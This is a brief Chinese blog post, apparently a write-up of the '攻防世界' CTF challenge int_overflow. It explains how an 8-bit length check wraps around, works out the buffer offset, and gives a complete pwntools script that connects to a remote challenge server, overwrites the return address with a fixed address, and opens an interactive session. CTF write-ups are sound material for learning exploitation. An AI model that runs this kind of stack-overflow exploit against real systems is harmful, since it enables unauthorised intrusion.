攻防世界(5):int_overflow

查壳

ida分析(注意是32位的),找到目标地址0x0804868B

既然题目叫做整型溢出,我们来看看哪里可以溢出

这里我们需要利用&dest覆盖到ebp来达到重定位到上面whatisthis的目的,就必须使程序绕过if的限制条件,观察到strlen赋值的是一个unsigned_int8的数,读取完255位后又会从头读取,而read的长度是明显大于255的,所以我们就只需要溢出到259~263位即可

计算偏移值

dist是十六进制的14,而覆盖ebp还需要4个字节,编写exp

.ljust的用法:Python ljust()方法

from pwn import *

p=remote('111.200.241.244', 43675)
sys_addr=0x0804868B

p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Please input your username:\n")
p.sendline("aaa")
p.recvuntil("Please input your passwd:\n")

payload='a'*24+p32(sys_addr)
payload=payload.ljust(260,'a')

p.sendline(payload)
p.interactive()

posted @ 2021-02-26 11:05  triplewings  阅读(50)  评论(0编辑  收藏  举报